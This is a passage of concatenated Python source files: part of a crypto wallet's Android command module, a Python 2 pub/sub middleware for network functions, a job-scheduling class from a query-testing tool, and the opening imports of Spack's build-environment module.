name_wallets: name_info[name] = ( self.local_wallet_info.get(name) if self.local_wallet_info.__contains__(name) else {"type": "unknow", "time": time.time(), "xpubs": [], "seed": ""} ) name_info = sorted(name_info.items(), key=lambda item: item[1]["time"], reverse=True) wallet_infos = [] for key, value in name_info: if -1 != key.find(".tmp.") or -1 != key.find(".tmptest."): continue temp = {} wallet = self.daemon.wallets[self._wallet_path(key)] device_id = self.get_device_info(wallet) if isinstance(wallet.keystore, Hardware_KeyStore) else "" wallet_info = { "type": value["type"], "addr": wallet.get_addresses()[0], "name": self.get_unique_path(wallet), "label": wallet.get_name(), "device_id": device_id, } temp[key] = wallet_info wallet_infos.append(temp) sort_info = self.sort_list(wallet_infos, type=type) return json.dumps(sort_info) def delete_wallet_from_deamon(self, name): try: self._assert_daemon_running() self.daemon.delete_wallet(name) except BaseException as e: raise BaseException(e) def has_history_wallet(self, wallet_obj): coin = self._detect_wallet_coin(wallet_obj) if coin in self.coins: txids = self.pywalib.get_all_txid(wallet_obj.get_addresses()[0]) return bool(txids) elif coin == "btc": history = wallet_obj.get_history() return bool(history) def reset_config_info(self): self.local_wallet_info = {} self.config.set_key("all_wallet_type_info", self.local_wallet_info) self.derived_info = {} self.config.set_key("derived_info", self.derived_info) self.backup_info = {} self.config.set_key("backupinfo", self.backup_info) self.decimal_point = 5 self.config.set_key("decimal_point", self.decimal_point) self.config.set_key("language", "zh_CN") self.config.set_key("sync_server_host", "39.105.86.163:8080") self.config.set_key("show_addr_info", {}) def reset_wallet_info(self): """ Reset all wallet info when Reset App :return: raise except if error """ try: util.delete_file(self._wallet_path()) util.delete_file(self._tx_list_path()) self.reset_config_info() self.hd_wallet = None self.check_pw_wallet = None self.daemon._wallets.clear() except BaseException as e: raise e def delete_wallet_devired_info(self, wallet_obj, hw=False): have_tx = self.has_history_wallet(wallet_obj) if not have_tx: # delete wallet info from config self.delete_devired_wallet_info(wallet_obj, hw=hw) def delete_wallet(self, password="", name="", hd=None): """ Delete (a/all hd) wallet :param password: Password as string :param name: Wallet key :param hd: True if you want to delete all hd wallet :return: None """ try: wallet = self.daemon._wallets[self._wallet_path(name)] if self.local_wallet_info.__contains__(name): wallet_info = self.local_wallet_info.get(name) wallet_type = wallet_info["type"] if not wallet.is_watching_only() and -1 == wallet_type.find("-hw-"): self.check_password(password=password) if hd is not None: self.delete_derived_wallet() else: if "-derived-" in wallet_type: hw = ("-hw-" in wallet_type) self.delete_wallet_devired_info(wallet, hw=hw) self.delete_wallet_from_deamon(self._wallet_path(name)) self.local_wallet_info.pop(name) self.config.set_key("all_wallet_type_info", self.local_wallet_info) # os.remove(self._wallet_path(name)) except Exception as e: raise BaseException(e) def _assert_daemon_running(self): if not self.daemon_running: raise BaseException( _("The background process does not start and it is recommended to restart the application.") ) # Same wording as in electrum script. def _assert_wizard_isvalid(self): if self.wizard is None: raise BaseException("Wizard not running") # Log callbacks on stderr so they'll appear in the console activity. def _assert_wallet_isvalid(self): if self.wallet is None: raise BaseException(_("You haven't chosen a wallet yet.")) # Log callbacks on stderr so they'll appear in the console activity. def _assert_hd_wallet_isvalid(self): if self.hd_wallet is None: raise BaseException(UnavaiableHdWallet()) def _assert_coin_isvalid(self, coin): if coin != "btc" and coin != "eth": raise BaseException("coin must btc/eth") def _on_callback(self, *args): util.print_stderr("[Callback] " + ", ".join(repr(x) for x in args)) def _wallet_path(self, name=""): if name is None: if not self.wallet: raise ValueError("No wallet selected") return self.wallet.storage.path else: wallets_dir = join(self.user_dir, "wallets") util.make_dir(wallets_dir) return util.standardize_path(join(wallets_dir, name)) def _tx_list_path(self, name=""): wallets_dir = join(self.user_dir, "tx_history") util.make_dir(wallets_dir) return util.standardize_path(join(wallets_dir, name)) all_commands = commands.known_commands.copy() for name, func in vars(AndroidCommands).items(): if not name.startswith("_"): all_commands[name] = commands.Command(func, "") SP_SET_METHODS = { bool: "putBoolean", float: "putFloat", int: "putLong", str: "putString", }
pubsub_MW.py
#!/usr/bin/env python # Copyright 2020-present Iman lotfimahyari. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. ''' Uncommenting the print commands next to the "mid_log"s can give a simple screen view of message transactions. ''' import socket import threading import sys import os import time import random import struct from struct import pack as sp from struct import unpack as su from datetime import datetime as dt import copy from netifaces import ifaddresses from scapy.all import get_if_list # <<<<<<<< data structures >>>>>>>>>>>>>> # my_server_name = "-" # my server name e.g. H1 nxt_VNF_local_id = 1 VNF_local_global_id = [0] # VNF_LOCAL_ID = Index of the VNF_GLOBAL_ID rcv_mw_socks = [0] REPLICA_sock = 0 # The socket object of the connection between the Middle_Ware and the REPLICA controller VNF_sockets = [0] # VNF_LOCAL_ID = Index of the [socket object of the correspondent VNF , (address, port)] rcv_mw_sock_multi = {} # var_id: socket object for listenig on the multicast server socket,regarding to that var_id all_mcast_groups = [] mcast_groups = [0] thr_VNF_sock_recv = [0] # VNF_LOCAL_ID = Index of the thread receiving on sockets connected to the VNFs thr_VNF_sock_send = [0] # VNF_LOCAL_ID = Index of the threads sending on sockets connected to the VNFs thr_VNF_sock_data_cleaner_handlr = [0] # VNF_LOCAL_ID = Index of the thread cleaning and handling msg received from VNFs thr_rcv_pub_multi = {} # var_id: thread object for listenig on the multicast server socket,regarding to that var_id VNF_subscriptions = {} # subscribed variable_IDs : [subscribed VNF_GLOBAL_IDs] VNF_publishes = {} # VNF_GLOBAL_ID : [publishing variable_IDs] VNF_sock_input_queues = [0] # VNF_LOCAL_ID = Index of the queue for VNF_sock_send VNF_sock_output_queues = [0] # VNF_LOCAL_ID = Index of the queue for VNF_sock_recv OUT_2_queue = [] # my queue for msgs from the inside of the server IN_1_queue = [] # my queue for msgs from the OUT_1_queue = [] # my queue for msgs from the '''### Basic FUNCTIONS ###''' def mid_log(func,the_log): # Log recording for Middle_Ware global my_server_name fileName = "logs/middleware_"+str(my_server_name) with open(fileName,"a") as f: data ="["+str(dt.now())+"] "+str(func)+" "+str(the_log)+"\n" f.write(data) def get_if(): # interface ifs=get_if_list() iface=None # "h1-eth0" for i in ifs: if "eth0" in i: iface=i break; if not iface: print "Cannot find eth0 interface" exit(1) return iface def pubSubIP(var_id, kind): # making IP.destination based on variable_id and packet kind if kind in [0,1,5,6]:# "INIT_VNF_ID","INIT_PUB_ID", "Variable_ID_REQ", "RECOVER" b=[10,0,4,4] else: a=bin(var_id)[2:].zfill(32) b=[int(a[8*i:8*(i+1)],2) for i in range(4)] b[0]=239 if kind==2: # "PUBLISH" b[1]=b[1] elif kind==3: # "SUBSCRIBE" b[1]=b[1]|192 elif kind==4: # "UNSUBSCRIBE" b[1]=b[1]|128 special_IP=".".join([str(c) for c in b]) return special_IP def msg_kind(kind_id): if kind_id==0: kind="INIT_NF_ID" elif kind_id==1: kind="INIT_PUB_ID" elif kind_id==2: kind="PUBLISH" elif kind_id==3: kind="SUB_REG" elif kind_id==4: kind="SUB_REM" elif kind_id==5: kind="VAR_ID_REQ" elif kind_id==6: kind="RECOVER" return kind ######################## ###### INT MODULE ###### ######################## '''### VNF <==> MW ###''' def init_conn_to_VNF(): # Initializing the Middle_Ware, making general server listening for VNF connections global my_server_name, nxt_VNF_local_id, VNF_local_global_id, VNF_sockets global thr_VNF_sock_recv, thr_VNF_sock_send, thr_VNF_sock_data_cleaner_handlr mid_log("[INIT] <init_conn_to_VNF>", "HOST name: {}, Middle_Ware :[STARTED]".format(my_server_name)) INIT_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) INIT_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # INIT_sock.setblocking(0) INIT_sock.bind(("localhost",65431)) print "[INIT] General server listening..." mid_log("[INIT] <init_conn_to_VNF>","General server listening...") INIT_sock.listen(128) while True: conn, addr = INIT_sock.accept() VNF_sockets.append(0) VNF_sockets[nxt_VNF_local_id]=[conn, addr] print "[INIT] VNF ({}) : LOCALY REGISTERED <=> VNF_port = {}".format(nxt_VNF_local_id, addr[1]) mid_log("[INIT] <init_conn_to_VNF>","VNF({}):LOCALY REGISTERED <=> VNF_port = {}".format(nxt_VNF_local_id, addr[1])) thr_VNF_sock_recv.append(0) thr_VNF_sock_send.append(0) thr_VNF_sock_data_cleaner_handlr.append(0) VNF_local_global_id.append(0) VNF_sock_input_queues.append([]) VNF_sock_output_queues.append([]) ## BUILDING AND STARTING 2 LIGHT THREADS FOR SEND AND RECEIVE ON THE VNF SOCKET ## BUILDING THE MAIN THREAD DOING DATA CLEANING AND DISTRIBUTING (IF NEEDED) THE DATA RECEIVED FROM THE VNF SOCKET thr_VNF_sock_recv[nxt_VNF_local_id]=threading.Thread(target=VNF_sock_recv, args=[nxt_VNF_local_id]) thr_VNF_sock_data_cleaner_handlr[nxt_VNF_local_id]=threading.Thread(target=VNF_sock_data_cleaner_handlr, args=[nxt_VNF_local_id]) thr_VNF_sock_send[nxt_VNF_local_id]=threading.Thread(target=VNF_sock_send, args=[nxt_VNF_local_id]) thr_VNF_sock_recv[nxt_VNF_local_id].start() thr_VNF_sock_data_cleaner_handlr[nxt_VNF_local_id].start() thr_VNF_sock_send[nxt_VNF_local_id].start() nxt_VNF_local_id += 1 def VNF_sock_recv(VNF_ID): # receiver function for the VNF sockets global VNF_sock_output_queues, VNF_sockets print "[INFO] <VNF_sock_recv> for VNF({}) :[STARTED]".format(VNF_ID) mid_log("[INFO] <VNF_sock_recv>", " for VNF({}) :[STARTED]".format(VNF_ID)) while True: try: raw_VNF_received = VNF_sockets[VNF_ID][0].recv(8192) VNF_sock_output_queues[VNF_ID].append(raw_VNF_received) except: raise def VNF_sock_send(VNF_ID): # sender function for the VNF sockets global VNF_sock_input_queues, VNF_sockets print "[INFO] <VNF_sock_send> for VNF({}) :[STARTED]".format(VNF_ID) mid_log("[INFO] <VNF_sock_send>", " for VNF({}) :[STARTED]".format(VNF_ID)) while True: try: out_msg = VNF_sock_input_queues[VNF_ID].pop(0) print "[VNF][OUT] <VNF_sock_send> => msg to VNF ({}), len ({}), kind: ({})".format(VNF_ID,su("H",out_msg[:2])[0],su("H",out_msg[2:4])[0]) mid_log("[VNF][OUT] <VNF_sock_send>", "msg to VNF ({},{}), len ({}), kind: ({})".format(VNF_ID,su("H",out_msg[4:6])[0],su("H",out_msg[:2])[0],su("H",out_msg[2:4])[0])) VNF_sockets[VNF_ID][0].send(out_msg) except IndexError: time.sleep(1) pass except: raise def VNF_sock_data_cleaner_handlr(VNF_ID): # rebuild the msgs coming from the VNF and send to needed queues in the Middle_Ware global VNF_sock_input_queues, VNF_sock_output_queues, VNF_subscriptions global VNF_publishes, OUT_2_queue,VNF_local_global_id current_data = "" # empty for started print "[INFO] <VNF_sock_data_cleaner_handlr> for VNF({}) :[STARTED]".format(VNF_ID) mid_log("[INFO] <VNF_sock_data_cleaner_handlr>", "for VNF({}) :[STARTED]".format(VNF_ID) ) while True: try: # pop the first received chunk and add to the remained bytes (if any) current_data = current_data + VNF_sock_output_queues[VNF_ID].pop(0) # more than 2 bytes to know the lenght of the msg and enough bytes to rebuild a msg while (len(current_data)>2 and len(current_data)>=int(su("H",current_data[:2])[0])): in_msg = current_data[:int(su("H",current_data[:2])[0])] # we extract the msg from Data_length(2B) mid_log("[MW][IN] <VNF_sock_data_cleaner_handlr>", "MSG len({}), kind({})".format(su("H",in_msg[:2])[0], su("H",in_msg[2:4])[0])) print "[MW][IN] <VNF_sock_data_cleaner_handlr> => len({}), kind({})".format(su("H",in_msg[:2])[0], su("H",in_msg[2:4])[0]) #### INITIALIZING VNF_ID REQUEST #### => (kind = 0) if int(su("H",in_msg[2:4])[0]) == 0: # it is an initializing request from the VNF => send to the SDN controller try: ## msg = Data_length(2B)+Kind(2B)+local_ID(2B)+Global_ID(2B)+VNF_NAME(nB) in_msg_tmp = in_msg[2:4]+sp("H",VNF_ID)+in_msg[6:] in_msg_tmp = sp("H",len(in_msg_tmp)+2)+in_msg_tmp OUT_1_queue.append(in_msg_tmp) #### CUT PROCESSED MSG FROM current_data current_data = current_data[int(su("H",current_data[:2])[0]):] # continue from begining of the next msg except: raise #### PUB_ID, SUB_ID or RECOVER REQUEST #### => (kind = 1, 5 and 6) elif int(su("H",in_msg[2:4])[0]) in [1,5,6]: # it is an initializing request from the VNF => send to the SDN controller try: ## msg = Data_length(2B)+Kind(2B)+Global_ID(2B)+VNF_NAME(nB) OUT_1_queue.append(in_msg) #### CUT THE PROCESSED MSG FROM current_data current_data = current_data[int(su("H",current_data[:2])[0]):] # continue from begining of the next msg except: raise #### PUBLISH #### => (kind = 2) elif int(su("H",in_msg[2:4])[0]) == 2: # it is a publish msg from VNF try: tmp_var_ID = int(su("H", in_msg[6:8])[0]) # extracting the Variable_ID ## append var_ID to the published list of the related VNF socket if tmp_var_ID in VNF_subscriptions.keys(): # if there is internal subscriptions on this Variable_ID for dest in VNF_subscriptions[tmp_var_ID]: ## msg = Data_length(2B)+Kind(2B)+Local_ID(2B)+Global_ID(4B)+tot_var(2B) msg_copy = copy.deepcopy(in_msg) VNF_sock_input_queues[VNF_local_global_id.index(dest)].append(msg_copy) OUT_2_queue.append(in_msg) #### CUT THE PROCESSED MSG FROM current_data current_data = current_data[int(su("H",current_data[:2])[0]):] # continue from begining of the next msg except: raise #### SUBSCRIBE REGISTER #### => (kind = 3) elif int(su("H",in_msg[2:4])[0]) == 3: # it is a subscribe-register request if int(su("H",in_msg[6:8])[0]) not in VNF_subscriptions.keys(): # If variable_ID is NOT in VNF_subscription as a key e.g. var_id:[.....] NOT exists VNF_subscriptions[int(su("H",in_msg[6:8])[0])]=[int(su("H",in_msg[4:6])[0])] # add VNF_GLOBAL_ID to subscriptions of var_id:[] internal_publish = 0 print "[INFO] <VNF_sock_data_cleaner_handlr> check before subscribe in SW" print "VNF_publishes: ", VNF_publishes print "VNF_subscriptions: ", VNF_subscriptions for VNF in VNF_publishes.keys(): # check internal registered publishes for the var_id if int(su("H",in_msg[6:8])[0]) in VNF_publishes[VNF]: internal_publish = 1 break if not internal_publish: # if no internal publish on that var_id exist OUT_2_queue.append(in_msg) # try to send request to the switch else: # If variable_ID is in VNF_subscription as a key if int(su("H",in_msg[4:6])[0]) not in VNF_subscriptions[int(su("H",in_msg[6:8])[0])]: # if VNF_ID is not in the var_id:[] VNF_subscriptions[int(su("H",in_msg[6:8])[0])].append(int(su("H",in_msg[4:6])[0])) # add VNF_ID to subscriptions of var_id #### CUT THE PROCESSED MSG FROM current_data current_data = current_data[int(su("H",current_data[:2])[0]):] # continue from begining of the next msg #### SUBSCRIBE REMOVE #### => (KIND = 4) elif int(su("H",in_msg[2:4])[0]) == 4: # it is a subscribe-remove request if (int(su("H",in_msg[6:8])[0]) in VNF_subscriptions.keys() and int(su("H",in_msg[4:6])[0]) in VNF_subscriptions[int(su("H",in_msg[6:8])[0])]): VNF_subscriptions[int(su("H",in_msg[6:8])[0])].remove(int(su("H",in_msg[4:6])[0])) if not VNF_subscriptions[int(su("H",in_msg[6:8])[0])]: internal_publish = 0 for VNF in VNF_publishes.keys(): if VNF_subscriptions[int(su("H",in_msg[6:8])[0])] in VNF_publishes[VNF]: internal_publish = 1 break if not internal_publish: OUT_2_queue.append(in_msg) #### CUT THE PROCESSED MSG FROM current_data current_data = current_data[int(su("H",current_data[:2])[0]):] # continue from begining of the next msg else: print "WHY? ;)" except IndexError: time.sleep(1) pass except: raise ######################## ###### EXT MODULE ###### ######################## '''### REPLICA <==> MW (signaling)###''' def receive_SIG_msg(): global IN_1_queue, REPLICA_sock my_src = ifaddresses(get_if())[2][0]['addr'] my_server_name = "H" + str(int(my_src[-1:])) print "*********** START ****************" print "HOST name : {}".format(my_server_name) print "Middle_Ware STARTED" print "**********************************" REPLICA_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) REPLICA_sock.connect(('10.0.4.4', 65430)) mid_log("[INIT] <receive_msg>", "Socket :[MADE]") mid_log("[INIT] <receive_msg>", ":[STARTED]") print "[INIT] <receive_msg>", "Socket :[MADE]" print "[INIT] <receive_msg>", " :[STARTED]" time.sleep(1) while True: raw_received = REPLICA_sock.recv(1024) IN_1_queue.append(raw_received) def send_SIG_msg(): global OUT_1_queue, REPLICA_sock mid_log("[INIT] <send_SIG_msg>", " :[STARTED]") print "[INIT] <send_SIG_msg>", " :[STARTED]" while True: try: out_msg = OUT_1_queue.pop(0) mid_log("[OUT] <send_msg>", "MSG len({}), kind({})".format(su("H",out_msg[:2])[0],msg_kind(int(su("H",out_msg[2:4])[0])))) print "[OUT] <send_msg> => sending msg with len({}), kind({})".format(su("H",out_msg[:2])[0],msg_kind(int(su("H",out_msg[2:4])[0]))) if len(out_msg)==int(su("H",out_msg[:2])[0]): REPLICA_sock.send(out_msg) else: print "len(out_msg) != int(su('h',out_msg[:2])[0])" except IndexError: time.sleep(1) pass except: raise def sig_msg_hndlr_REPLICA(): global IN_1_queue current_data = "" # empty for started mid_log("[INIT] <REPLICA_msg_cleaner_handler>",":[STARTED]") print "[INIT] <REPLICA_msg_cleaner_handler> :[STARTED]" while True: try: # pop the first received chunk and add to the remained bytes (if any) current_data += IN_1_queue.pop(0) # more than 2 bytes to know the lenght of the msg and enough bytes to rebuild a msg while (len(current_data)>2 and len(current_data)>=int(su("H",current_data[:2])[0])): # we extract the msg from Data_length(2B) in_msg = current_data[:int(su("H",current_data[:2])[0])] ### INIT VNF_ID REPLY #### => (kind = 0) if int(su("H",in_msg[2:4])[0]) == 0: # it is an initializing response from the REPLICA controller => send to the VNF INT module try: mid_log("[INFO] <sig_msg_hndlr_REPLICA>", "INIT VNF_ID REPLY:len({}), kind({}), l_ID({}), G_id({})"\ .format(int(su("H", in_msg[:2])[0]),int(su("H", in_msg[2:4])[0]),int(su("H", in_msg[4:6])[0]),int(su("H", in_msg[6:8])[0]))) print "[INFO] <sig_msg_hndlr_REPLICA> " print "INIT VNF_ID REPLY: len({}), kind({}), l_ID({}), G_id({})".format(int(su("H", in_msg[:2])[0]), int(su("H", in_msg[2:4])[0]), int(su("H", in_msg[4:6])[0]),int(su("H", in_msg[6:8])[0])) VNF_local_global_id[int(su("H", in_msg[4:6])[0])] = int(su("H", in_msg[6:8])[0]) # update the mapping of Local_ID : Global_ID print "[INFO] <sig_msg_hndlr_REPLICA> VNF_local_global_id: {} ".format(VNF_local_global_id) ## append msg to the input queue of the related VNF socket VNF_sock_input_queues[int(su("H", in_msg[4:6])[0])].append(in_msg) #### CUT PROCESSED MSG FROM current_data current_data = current_data[int(su("H",current_data[:2])[0]):] # continue from begining of the next msg except: raise ### INIT PUB_ID REPLY #### => (kind = 1) elif int(su("H",in_msg[2:4])[0]) == 1: # it is a PUB_ID reply from the REPLICA controller => send to the send to the VNF INT module try: mid_log("[INFO] <recv_data_middleware>", "INIT PUB_ID REPLY:len({}), kind({}), G_id({})"\ .format(int(su("H", in_msg[:2])[0]),int(su("H", in_msg[2:4])[0]),int(su("H", in_msg[4:6])[0]))) print "[INFO] <recv_data_middleware> " print "INIT PUB_ID REPLY: len({}), kind({}), G_id({})".format(int(su("H", in_msg[:2])[0]), int(su("H", in_msg[2:4])[0]), int(su("H", in_msg[4:6])[0])) tmp_var_ID = int(su("H", in_msg[6:8])[0]) # extracting the Variable_ID ## append var_ID to the published list of the related VNF socket if int(su("H", in_msg[4:6])[0]) in VNF_publishes.keys(): VNF_publishes[int(su("H", in_msg[4:6])[0])].append(tmp_var_ID) else: VNF_publishes[int(su("H", in_msg[4:6])[0])] = [tmp_var_ID] print "[INFO] <recv_data_middleware> check the VNF_publishes: ", VNF_publishes print "INIT PUB_ID REPLY: len({}), kind({}), G_id({})".format(int(su("H", in_msg[:2])[0]), int(su("H", in_msg[2:4])[0]), int(su("H", in_msg[4:6])[0])) ## append msg to the input queue of the related VNF socket VNF_sock_input_queues[VNF_local_global_id.index(int(su("H", in_msg[4:6])[0]))].append(in_msg) #### CUT PROCESSED MSG FROM current_data current_data = current_data[int(su("H",current_data[:2])[0]):] # continue from begining of the next msg except: raise ### INIT SUB_ID REPLY #### => (kind = 5) elif int(su("H",in_msg[2:4])[0]) == 5: # it is a SUB_ID reply from the REPLICA controller => send to the send to the VNF INT module try: mid_log("[INFO] <recv_data_middleware>", "VARIABLE_ID_REPLY:len({}), kind({}), G_id({}), Var_ID({})"\ .format(int(su("H", in_msg[:2])[0]),int(su("H", in_msg[2:4])[0]), int(su("H", in_msg[4:6])[0]),int(su("H", in_msg[6:8])[0]))) print "[INFO] <recv_data_middleware>" print "VARIABLE_ID_REPLY: len({}), kind({}), G_id({}), v_ID({})".format(int(su("H", in_msg[:2])[0]), int(su("H", in_msg[2:4])[0]), int(su("H", in_msg[4:6])[0]),int(su("H", in_msg[6:8])[0])) ## append msg to the input queue of the related VNF socket VNF_sock_input_queues[VNF_local_global_id.index(int(su("H", in_msg[4:6])[0]))].append(in_msg) #### CUT PROCESSED MSG FROM current_data current_data = current_data[int(su("H",current_data[:2])[0]):] # continue from begining of the next msg except: raise except IndexError: time.sleep(1) pass '''### MW <==> OUTSIDE (STARE publish/subscribe)###''' def pub_mcast_membership_maker(group_num): global rcv_mw_socks, VNF_sock_input_queues, VNF_subscriptions, VNF_local_global_id print "[MW] <pub_mcast_membership> for var_ID({}) :[STARTED]".format(variable_id) mid_log("[MW] <pub_mcast_membership>", " for var_ID({}) :[STARTED]".format(variable_id)) # Create the socket rcv_mw_socks[group_num] = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) rcv_mw_socks[group_num].setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) # Bind to the server address rcv_mw_socks[group_num].bind(('', 65432)) def send_data_middleware():# sending packets to network global OUT_2_queue, thr_rcv_pub_multi, rcv_mw_socks, all_mcast_groups, mcast_groups, system_default_max # Create the datagram socket send_mw_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ## Set the time-to-live for messages ttl = struct.pack('b', 2) send_mw_sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) group_num = 0 mcast_groups[group_num]=[] while True: try: out_msg = OUT_2_queue.pop(0) mid_log("[SW][OUT] <send_data_middleware>", "MSG len({}), kind({})".format(su("H",out_msg[:2])[0],su("H",out_msg[2:4])[0])) print "[SW][OUT] <send_data_middleware> => len({}), kind({})".format(su("H",out_msg[:2])[0], su("H",out_msg[2:4])[0]) kind = int(su("H", out_msg[2:4])[0]) # SUB_register if kind==3: var_id = int(su("H",out_msg[6:8])[0]) # Building the multicast group related to the variable_id mcast_group = pubSubIP(var_id,2) # Tell the operating system to add the socket to the multicast group # on all interfaces. group = socket.inet_aton(mcast_group) mreq = struct.pack('4sL', group, socket.INADDR_ANY) all_mcast_groups.append(mcast_group) try: rcv_mw_socks[group_num].setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) except: group_num += 1 mcast_groups[group_num]=[] ## building a new thread responcible for making a new socket for that var_id, ## but not receiving, just letting us do more IP_multicast_membersip rcv_mw_socks[group_num]=threading.Thread(target=pub_mcast_membership_maker, args=[group_num]) print "[INFO] send_data_middleware: buiding...", rcv_mw_socks rcv_mw_socks[group_num].start() print "[INFO] send_data_middleware: starting...", rcv_mw_socks with open("error_mreq_report.txt","a") as f: f.write("handled membership error due to OS limit,receiver thread for: %s ,group: %s\n" % (str(var_id),mcast_group)) pass mcast_groups[group_num].append(mcast_group) elif kind in [2,4,6]: # publish, sub_remove, recover var_id = int(su("H",out_msg[6:8])[0]) elif kind in [0,1,5]: # init_VNF, pub_variable_id_request, sub_variable_id_request var_id = 0 ## making proper destination and sending the msg dest_addr = (pubSubIP(var_id, kind),65432) sent = send_mw_sock.sendto(out_msg, dest_addr) except IndexError: time.sleep(1) pass def recv_data_middleware(): global VNF_local_global_id, VNF_local_global_id, VNF_publishes, VNF_sock_input_queues, rcv_mw_sock global VNF_subscriptions, rcv_mw_socks # Create the socket rcv_mw_socks[0] = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) rcv_mw_socks[0].setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) # Bind to the server address rcv_mw_socks[0].bind(('', 65432)) while True: data, addr_uni = rcv_mw_socks[0].recvfrom(2048) try: mid_log("[SW][IN] <recv_data_middleware>", "MSG len({}), kind({})".format(su("H",data[:2])[0], su("H",data[2:4])[0])) print "[SW][IN] <recv_data_middleware> => len({}), kind({})".format(su("H",data[:2])[0], su("H",data[2:4])[0]) except: pass ### PUBLISH if int(su("H", data[2:4])[0])==2: mid_log("[SW][IN] <rcv_mw_sock({})>".format(str(int(su("H", data[6:8])[0]))), "PUBLISH packet") if int(su("H",data[6:8])[0]) in VNF_subscriptions.keys(): # if there is internal subscriptions on this Variable_ID for dest in VNF_subscriptions[int(su("H",data[6:8])[0])]: print "[INFO] <rcv_mw_sock({})>".format(str(int(su("H", data[6:8])[0]))) print "PUBLISH : len({}), kind({}), G_id({})".format(int(su("H", data[:2])[0]), int(su("H", data[2:4])[0]), int(su("H", data[4:6])[0])) ## msg = Data_length(2B)+Kind(2B)+Global_ID(4B)+tot_var(2B) msg_copy = copy.deepcopy(data) VNF_sock_input_queues[VNF_local_global_id.index(dest)].append(msg_copy) def main(): thr_RECEIVE_SIG_MW = threading.Thread(target = receive_SIG_msg) thr_MAIN_MESSAGE_HANDLER_MW = threading.Thread(target = sig_msg_hndlr_REPLICA) thr_SEND_SIG_MW = threading.Thread(target = send_SIG_msg) thr_INIT_VNFs = threading.Thread(target = init_conn_to_VNF) thr_MAIN_SEND = threading.Thread(target = send_data_middleware) thr_MAIN_RECEIVE = threading.Thread(target = recv_data_middleware) thr_RECEIVE_SIG_MW.start() time.sleep(1) thr_MAIN_MESSAGE_HANDLER_MW.start() time.sleep(1) thr_SEND_SIG_MW.start() time.sleep(1) thr_INIT_VNFs.start() time.sleep(1) thr_MAIN_SEND.start() time.sleep(1) thr_MAIN_RECEIVE.start() thr_RECEIVE_SIG_MW.join() thr_MAIN_MESSAGE_HANDLER_MW.join() thr_SEND_SIG_MW.join() thr_INIT_VNFs.join() thr_MAIN_SEND.join() thr_MAIN_RECEIVE.join() if __name__ == '__main__': main()
schedule_item.py
# Copyright (c) 2015 Cloudera, Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import random import string import pickle import os from tests.comparison.query_profile import PROFILES from threading import Thread ID_LEN = 16 class ScheduleItem(object): '''This describes the run. This class generates a Job with the generate_job method. This class can be extended in the future to be able to specify to run the job on a cluster or in stress mode. Attributes: run_name (str): This is displayed on the front page. The user enters a name when starting a custom run. git_command (str): Custom command to execute before starting a run. query_profile (DefaultProfile or similar) parent_job (str): job_id of the parent job parent_job_name (str): used for displaying the parent job name on the front page (in the schedule section) job_id (str): Unique string associated with this run. It is generated here and will be the same in Job and Report. The file name of pickle object will be this string. time_limit_sec (Number): Number of seconds to run. ''' def __init__( self, run_name='default', query_profile=None, time_limit_sec=24 * 3600, git_command='', parent_job=None): self.run_name = run_name self.git_command = git_command self.query_profile = None if parent_job else query_profile or PROFILES[0]() self.parent_job = parent_job # It takes a while to extract the parent job name, so it's done in the save_pickle # method in a separate thread. self.parent_job_name = '' self.job_id = self.generate_job_id() self.time_limit_sec = time_limit_sec def generate_job_id(self): '''Generate a random string that should be unique. ''' return ''.join([random.choice( string.ascii_lowercase + string.digits) for _ in range(ID_LEN)]) def save_pickle(self): from controller import PATH_TO_FINISHED_JOBS, PATH_TO_SCHEDULE def inner(): if self.parent_job: with open(os.path.join(PATH_TO_FINISHED_JOBS, self.parent_job), 'r') as f: parent_job = pickle.load(f) self.parent_job_name = parent_job.job_name with open(os.path.join(PATH_TO_SCHEDULE, self.job_id), 'w') as f: pickle.dump(self, f) thread = Thread(target=inner) thread.start() def generate_job(self): '''Converts ScheduleItem into a Job. ''' from job import Job return Job(query_profile = self.query_profile, job_id=self.job_id, run_name=self.run_name, time_limit_sec=self.time_limit_sec, git_command=self.git_command, parent_job=self.parent_job)
build_environment.py
# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) """ This module contains all routines related to setting up the package build environment. All of this is set up by package.py just before install() is called. There are two parts to the build environment: 1. Python build environment (i.e. install() method) This is how things are set up when install() is called. Spack takes advantage of each package being in its own module by adding a bunch of command-like functions (like configure(), make(), etc.) in the package's module scope. Ths allows package writers to call them all directly in Package.install() without writing 'self.' everywhere. No, this isn't Pythonic. Yes, it makes the code more readable and more like the shell script from which someone is likely porting. 2. Build execution environment This is the set of environment variables, like PATH, CC, CXX, etc. that control the build. There are also a number of environment variables used to pass information (like RPATHs and other information about dependencies) to Spack's compiler wrappers. All of these env vars are also set up here. Skimming this module is a nice way to get acquainted with the types of calls you can make from within the install() function. """ import inspect import multiprocessing import os import shutil import sys import traceback import types from six import StringIO import llnl.util.tty as tty from llnl.util.tty.color import cescape, colorize from llnl.util.filesystem import mkdirp, install, install_tree from llnl.util.lang import dedupe import spack.build_systems.cmake import spack.build_systems.meson import spack.config import spack.main import spack.paths import spack.schema.environment import spack.store from spack.util.string import plural from spack.util.environment import ( env_flag, filter_system_paths, 